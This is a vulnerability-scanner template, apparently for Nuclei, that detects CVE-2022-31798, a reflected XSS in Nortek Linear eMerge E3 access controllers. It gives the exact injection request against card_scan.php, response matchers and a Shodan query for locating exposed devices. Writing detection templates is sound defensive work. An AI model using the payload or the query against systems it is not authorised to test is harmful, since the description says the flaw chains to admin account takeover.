id: CVE-2022-31798

info:
  name: Nortek Linear eMerge E3-Series - XSS
  author: ritikchaddha
  severity: high
  description: |
    There is local session fixation that chained with reflected cross-site scripting leads to account take over of admin or less privileged users.
  reference:
    - https://packetstormsecurity.com/files/167992/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31798
    - http://packetstormsecurity.com/files/167992/Nortek-Linear-eMerge-E3-Series-Account-Takeover.html
    - https://eg.linkedin.com/in/omar-1-hashem
  metadata:
    shodan-query: http.title:"eMerge"
    verified: "true"
  tags: cve,cve2022,emerge,nortek,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ',"CardFormatNo":"<img src=x onerror=alert(document.domain)>"}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200